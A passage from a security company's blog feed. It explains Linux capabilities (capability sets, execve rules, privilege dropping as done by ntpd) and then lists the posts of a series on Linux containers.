&lt;p>The traditional way of handling permissions in Linux involves exactly two process types: &lt;em>Privileged&lt;/em> and &lt;em>unprivileged&lt;/em> processes. When disregarding capabilities, a process is privileged in case the effective UID is equal to &lt;code>0&lt;/code> &amp;ndash; providing permissions commonly referred to as &lt;em>root privileges&lt;/em>. The Linux kernel makes a sharp distinction between privileged and unprivileged processes. For example, privileged processes are allowed to bypass various kernel permission checks [1]. This results in a severe security violation in case untrusted applications are allowed to run with &lt;code>root&lt;/code> privileges.&lt;/p>
&lt;p>In practice, many system services and applications have to be executed with &lt;code>root&lt;/code> privileges. Otherwise the permissions for privileged actions may be missing for a given process. For instance, consider sending ICMP network packets with the &lt;code>ping&lt;/code> command: Before capabilities were introduced in the Linux kernel, it was required to execute applications that use raw sockets with elevated privileges &amp;ndash; for example using the SUID bit. This theoretically enables the &lt;code>ping&lt;/code> process that&amp;rsquo;s being executed as &lt;code>root&lt;/code> to perform privileged system changes or actions that may or may not be desired &amp;ndash; additionally to performing the task the process is designated for. Tracing other processes, mounting devices and loading arbitrary kernel modules are some of the actions that will be allowed, additionally to using raw sockets. Therefore, the resulting attack scenario involves executing untrusted binaries or running potentially vulnerable system services with &lt;code>root&lt;/code> privileges that may be used by a malicious actor to harm a system.&lt;/p>
&lt;p>Because of the security concerns resulting from this, &lt;em>capabilities&lt;/em> have been introduced starting from kernel version &lt;code>2.2&lt;/code>. The basic idea is to split the &lt;code>root&lt;/code> permission into small pieces that are able to be distributed individually on a thread basis without having to grant all permissions to a specific process at once. A complete list of all available capabilities is present in the capability manual page [1]. In particular, a powerful capability is &lt;code>CAP_SYS_ADMIN&lt;/code> which allows to perform comprehensive actions on a system. Please note that this capability is overloaded and its use is discouraged in case better alternatives are available, for example using only a minimal set of capabilities. However, sometimes using this capability is required &amp;ndash; for example &lt;code>mount&lt;/code> operations require this specific capability. Considering the example with &lt;code>ping&lt;/code> would involve adding the &lt;code>CAP_NET_RAW&lt;/code> capability to the process making use of raw sockets without having to grant a full set of &lt;code>root&lt;/code> privileges.&lt;/p>
&lt;p>There are two ways a process can obtain a set of capabilities:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Inherited capabilities&lt;/strong>: A process can inherit a subset of the parent&amp;rsquo;s capability set. To inspect the available capabilities for a process, the &lt;code>/proc/&amp;lt;PID&amp;gt;/status&lt;/code> file can be examined.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>File capabilities&lt;/strong>: It&amp;rsquo;s possible to assign capabilities to a binary, e.g. using &lt;code>setcap&lt;/code>. The process created when executing a binary of this type is then allowed to use the specified capabilities on runtime. This requires that the process is &lt;em>capability-aware&lt;/em>, meaning that it explicitly requests the kernel to allow it to use these capabilities. In case a binary was developed before capabilities were introduced in the kernel, this is not the case as the required system calls for this task were not available at the time the binary was compiled. Hence, the process can fail to perform its designated task because of missing permissions. The Linux kernel manual calls these binaries &lt;em>capability-dumb binaries&lt;/em>. A solution for this kind of problem will be discussed later on. Querying a binary for file capabilities is accomplished with the &lt;code>getcap&lt;/code> utility. Performing this on Arch Linux and the included &lt;code>ping&lt;/code> binary shows that the &lt;code>CAP_NET_RAW&lt;/code> file capability is present, allowing pings without granting &lt;code>root&lt;/code> permissions to the process.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h2 id="the-execve-system-call">The &lt;code>execve&lt;/code> System Call&lt;/h2>
&lt;p>In the Linux kernel, the two main operations regarding processes are &lt;code>fork&lt;/code> and &lt;code>exec&lt;/code>. The &lt;code>fork&lt;/code> system call creates a new process as a copy of the parent process. On the other hand, &lt;code>exec&lt;/code> replaces the current process with the contents resulting from executing another program. Both mechanisms are often used in combination, for example when invoking a command in a terminal that&amp;rsquo;s not a shell-builtin:&lt;/p>
&lt;ol>
&lt;li>&lt;code>fork&lt;/code> is called to create a child process.&lt;/li>
&lt;li>The child invokes &lt;code>exec&lt;/code> to replace its contents with the desired program.&lt;/li>
&lt;li>The parent waits for the child to exit and retrieves the exit code.&lt;/li>
&lt;/ol>
&lt;p>Please note that &lt;code>fork&lt;/code> is required in the scenario above because the original process is not ready to exit yet &amp;ndash; it rather invokes an external command and continues its execution afterwards. Without calling &lt;code>fork&lt;/code> the &lt;em>current&lt;/em> process would be replaced with the desired program. This process exits immediately after its execution which is not desired in the context of a shell.&lt;/p>
&lt;p>Discussing &lt;code>exec&lt;/code> above does not refer to a single system call. It rather describes the usage of a system call of the &lt;code>exec&lt;/code>-family. While there are multiple &lt;code>exec&lt;/code> calls, most of them are built by making use of &lt;code>execve&lt;/code>. The differences in the function API manifest in the provided parameters for each call.&lt;/p>
&lt;p>The &lt;code>execve&lt;/code> call is particularly important regarding the various capability sets and thereto related rules which will be discussed further on.&lt;/p>
&lt;h2 id="capability-sets">Capability Sets&lt;/h2>
&lt;p>There exist five different capability sets for each process, each represented by a 64 bit value:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>CapEff&lt;/strong>: The &lt;em>effective&lt;/em> capability set represents all capabilities the process is using at the moment. For file capabilities the effective set is in fact a single bit indicating whether the capabilities of the permitted set will be moved to the effective set upon running a binary. This makes it possible for binaries that are not capability-aware to make use of file capabilities without issuing special system calls.&lt;/li>
&lt;li>&lt;strong>CapPrm&lt;/strong>: The &lt;em>permitted&lt;/em> set includes all capabilities a process may use. These capabilities are allowed to be copied to the effective set and used after that.&lt;/li>
&lt;li>&lt;strong>CapInh&lt;/strong>: Using the &lt;em>inherited&lt;/em> set all capabilities that are allowed to be inherited from a parent process can be specified. This prevents a process from receiving any capabilities it does not need. This set is preserved across an &lt;code>execve&lt;/code> and is usually set by a process &lt;em>receiving&lt;/em> capabilities rather than by a process that&amp;rsquo;s handing out capabilities to its children.&lt;/li>
&lt;li>&lt;strong>CapBnd&lt;/strong>: With the &lt;em>bounding&lt;/em> set it&amp;rsquo;s possible to restrict the capabilities a process may ever receive. Only capabilities that are present in the bounding set will be allowed in the inheritable and permitted sets.&lt;/li>
&lt;li>&lt;strong>CapAmb&lt;/strong>: The &lt;em>ambient&lt;/em> capability set applies to all non-SUID binaries without file capabilities. It preserves capabilities when calling &lt;code>execve&lt;/code>. However, not all capabilities in the ambient set may be preserved because they are being dropped in case they are not present in either the inheritable or permitted capability set. This set is preserved across &lt;code>execve&lt;/code> calls.&lt;/li>
&lt;/ul>
&lt;p>The sets discussed above allow a fine grained control over how capabilities are being distributed and inherited across processes and binaries. For backwards compatibility all capabilities are being granted to processes running as &lt;code>root&lt;/code> user, including SUID binaries.&lt;/p>
&lt;h2 id="capability-rules">Capability Rules&lt;/h2>
&lt;p>Child processes created using &lt;code>fork&lt;/code> inherit the full set of the parent&amp;rsquo;s capabilities. Moreover, there exist rules [1] to determine whether and how capabilities of a process are being inherited or modified upon calling &lt;code>execve&lt;/code> when creating a child process:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-capabilities/capability-rules_hu6f76cc0b78ddf276da9384b9c7ad3758_47230_320x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-capabilities/capability-rules_hu6f76cc0b78ddf276da9384b9c7ad3758_47230_640x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-capabilities/capability-rules_hu6f76cc0b78ddf276da9384b9c7ad3758_47230_1280x0_resize_q95_h2_lanczos.webp">
&lt;img
src="https://www.schutzwerk.com/en/blog/linux-container-capabilities/capability-rules.webp"
width="1799"
height="1344"
alt="Capability Rules"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Capability Rules&lt;/figcaption>
&lt;/figure>
&lt;p>In consequence of the rules above, UID changes have an effect on the available capabilities. If there&amp;rsquo;s a transition from a zero to a non-zero effective UID value, the effective and permitted capability sets are being cleared.&lt;/p>
&lt;p>There may be scenarios where a process requires a capability to perform initial configuration of the system and is then able to drop specific capabilities because their usage is not required anymore. In general it&amp;rsquo;s a good software design to drop all unnecessary capabilities &amp;ndash; container engines like Docker do this by default. To perform this task, the &lt;code>prctl&lt;/code> utility can be of use. By utilizing this tool, the &lt;em>secure bits&lt;/em> of a process are being manipulated. These flags control how capabilities are being handled for the &lt;code>root&lt;/code> user. One flag, namely &lt;code>SECBIT_KEEP_CAPS&lt;/code>, controls whether capabilities are being cleared in case a UID transition, for example with &lt;code>setuid&lt;/code>, takes place. By setting this bit the current capability set is being retained when switching to another user from a process. For example, the implementation of &lt;code>ntp&lt;/code> [2], the NTP daemon drops its capabilities as follows:&lt;/p>
&lt;ul>
&lt;li>Set the &lt;code>PR_SET_KEEPCAPS&lt;/code> secure bit using &lt;code>prctl&lt;/code>. At this point &lt;code>ntpd&lt;/code> is still being executed with &lt;code>root&lt;/code> privileges.&lt;/li>
&lt;li>Use a &lt;code>setuid&lt;/code> call to switch to an unprivileged user. Because of the previous step all capabilities are retained across the UID change.&lt;/li>
&lt;li>At this point the NTP daemon is running as an unprivileged user. However, all capabilities are still available to the &lt;code>ntpd&lt;/code> process. With &lt;code>cap_set_proc&lt;/code> of the &lt;code>libcap&lt;/code> library only a selected subset of the currently available capabilities are being explicitly used while all others are being dropped automatically.&lt;/li>
&lt;/ul>
&lt;p>Preventing a certain capability from being present in a capability set of a given process can be achieved with the &lt;code>PR_CAPBSET_DROP&lt;/code> flag. It effectively drops a capability from the bounding set and drops privileges prior to being added to one of the other capability sets.&lt;/p>
&lt;p>While container runtimes can effectively make use of capabilities, the general adoption of this security mechanism that was once the hope for an innovation in privilege management was hindered [3]. This results from capabilities being considered too complex and unhandy to use in the past. After all, specific capability sets and thereto related mechanisms, such as the ambient set that was added in Linux &lt;code>4.3&lt;/code> (2015), were added long after the initial capability implementation. With the current capability implementation and API many of the original points of criticism can be disqualified.&lt;/p>
&lt;h2 id="next-post-in-series">Next post in series&lt;/h2>
&lt;ul>
&lt;li>Continue reading the next article in this series &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;p>Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/pages/schutzwerkgmbh"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://man7.org/linux/man-pages/man7/capabilities.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1&lt;/span>
&lt;/a>&lt;a
href="http://man7.org/linux/man-pages/man7/capabilities.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="http://man7.org/linux/man-pages/man7/capabilities.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="http://man7.org/linux/man-pages/man7/capabilities.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">manual&lt;/span>
&lt;/a>&lt;a
href="http://man7.org/linux/man-pages/man7/capabilities.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">pages:&lt;/span>
&lt;/a>&lt;a
href="http://man7.org/linux/man-pages/man7/capabilities.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Overview&lt;/span>
&lt;/a>&lt;a
href="http://man7.org/linux/man-pages/man7/capabilities.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="http://man7.org/linux/man-pages/man7/capabilities.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="http://man7.org/linux/man-pages/man7/capabilities.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">capabilities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/ntp-project/ntp/blob/47e9cc7fd5b31417ac34b1b97b7f72fad0fb03dc/ntpd/ntpd.c#L938#L938"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2&lt;/span>
&lt;/a>&lt;a
href="https://github.com/ntp-project/ntp/blob/47e9cc7fd5b31417ac34b1b97b7f72fad0fb03dc/ntpd/ntpd.c#L938#L938"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://github.com/ntp-project/ntp/blob/47e9cc7fd5b31417ac34b1b97b7f72fad0fb03dc/ntpd/ntpd.c#L938#L938"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Source&lt;/span>
&lt;/a>&lt;a
href="https://github.com/ntp-project/ntp/blob/47e9cc7fd5b31417ac34b1b97b7f72fad0fb03dc/ntpd/ntpd.c#L938#L938"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Code:&lt;/span>
&lt;/a>&lt;a
href="https://github.com/ntp-project/ntp/blob/47e9cc7fd5b31417ac34b1b97b7f72fad0fb03dc/ntpd/ntpd.c#L938#L938"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">ntpd.c&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://lwn.net/Articles/632520/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/632520/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/632520/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LWN:&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/632520/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Inheriting&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/632520/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">capabilities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/de-de/foto/bunt-business-container-einfuhren-163726/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Title&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/bunt-business-container-einfuhren-163726/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>An Introduction to Linux Containers</title><link>https://www.schutzwerk.com/en/blog/linux-container-intro/</link><author>Philipp Schmied</author><pubDate>Wed, 27 Mar 2019 08:34:15 +0100</pubDate><category>linux</category><category>container</category><description>
&lt;p>This is the introduction post for the Linux containers blog post series. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.&lt;/p>
&lt;ol start="0">
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Containers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Capabilities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Mount&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Description&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Related&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Leak&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Docker&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">PID&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">User&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Block&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">I/O&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Memory,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">CPU,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Freezer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ol>
&lt;hr>
